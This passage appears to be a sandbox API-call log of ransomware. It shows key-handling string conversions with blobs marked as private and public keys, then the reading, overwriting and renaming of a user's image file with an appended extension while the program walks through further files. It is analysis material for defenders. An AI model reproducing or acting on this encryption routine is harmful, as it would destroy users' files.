tcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x2c538ec, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0085.453] GetCurrentThreadId () returned 0xa30 [0085.453] GetCurrentThreadId () returned 0xa30 [0085.453] GetCurrentThreadId () returned 0xa30 [0085.454] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0085.454] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6494c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0085.454] GetCurrentThreadId () returned 0xa30 [0085.454] GetCurrentThreadId () returned 0xa30 [0085.454] GetCurrentThreadId () returned 0xa30 [0085.454] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\POBCiS\\soZZ.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\pobcis\\sozz.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0085.454] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0fc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0fc*=0) returned 0x0 [0085.455] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0085.455] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x13faf [0085.455] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0085.455] ReadFile (in: hFile=0x11c, lpBuffer=0x1ef0010, nNumberOfBytesToRead=0x13faf, lpNumberOfBytesRead=0x18f108, lpOverlapped=0x0 | out: lpBuffer=0x1ef0010*, lpNumberOfBytesRead=0x18f108*=0x13faf, lpOverlapped=0x0) returned 1 [0085.458] CloseHandle (hObject=0x11c) returned 1 [0085.460] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\POBCiS\\soZZ.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\pobcis\\sozz.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0085.480] WriteFile (in: hFile=0x11c, lpBuffer=0x1f3e8b0*, nNumberOfBytesToWrite=0x13faf, lpNumberOfBytesWritten=0x18f114, lpOverlapped=0x0 | out: lpBuffer=0x1f3e8b0*, lpNumberOfBytesWritten=0x18f114*=0x13faf, lpOverlapped=0x0) returned 1 [0085.484] CloseHandle (hObject=0x11c) returned 1 [0085.487] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\POBCiS\\soZZ.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\pobcis\\sozz.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\POBCiS\\soZZ.png.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\pobcis\\sozz.png.zv7un")) returned 1 [0085.487] GetCurrentThreadId () returned 0xa30 [0085.488] GetCurrentThreadId () returned 0xa30 [0085.488] GetCurrentThreadId () returned 0xa30 [0085.488] GetCurrentThreadId () returned 0xa30 [0085.488] GetCurrentThreadId () returned 0xa30 [0085.488] GetCurrentThreadId () returned 0xa30 [0085.488] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29e58ec0, ftCreationTime.dwHighDateTime=0x1d5e085, ftLastAccessTime.dwLowDateTime=0x8f3daa70, ftLastAccessTime.dwHighDateTime=0x1d5e001, ftLastWriteTime.dwLowDateTime=0x8f3daa70, ftLastWriteTime.dwHighDateTime=0x1d5e001, nFileSizeHigh=0x0, nFileSizeLow=0x452b, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="VnMkxHGllRW.jpg", cAlternateFileName="VNMKXH~1.JPG")) returned 1 [0085.488] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0085.488] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0085.488] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\POBCiS\\VnMkxHGllRW.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\pobcis\\vnmkxhgllrw.jpg"), fInfoLevelId=0x0, lpFileInformation=0x18f148 | out: lpFileInformation=0x18f148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29e58ec0, ftCreationTime.dwHighDateTime=0x1d5e085, ftLastAccessTime.dwLowDateTime=0x8f3daa70, ftLastAccessTime.dwHighDateTime=0x1d5e001, ftLastWriteTime.dwLowDateTime=0x8f3daa70, ftLastWriteTime.dwHighDateTime=0x1d5e001, nFileSizeHigh=0x0, nFileSizeLow=0x452b)) returned 1 [0085.488] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\POBCiS\\VnMkxHGllRW.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\itkzucpgxtfuh72ld\\1ilxsffphamnx\\pobcis\\vnmkxhgllrw.jpg")) returned 0x20 [0085.488] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\ITkZucPgXtfuH72ld\\1ilxsFFPhAmnX\\POBCiS\\VnMkxHGllRW.jpg", dwFileAttributes=0x80) returned 1 [0085.490] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0085.490] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x2c538ec, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVO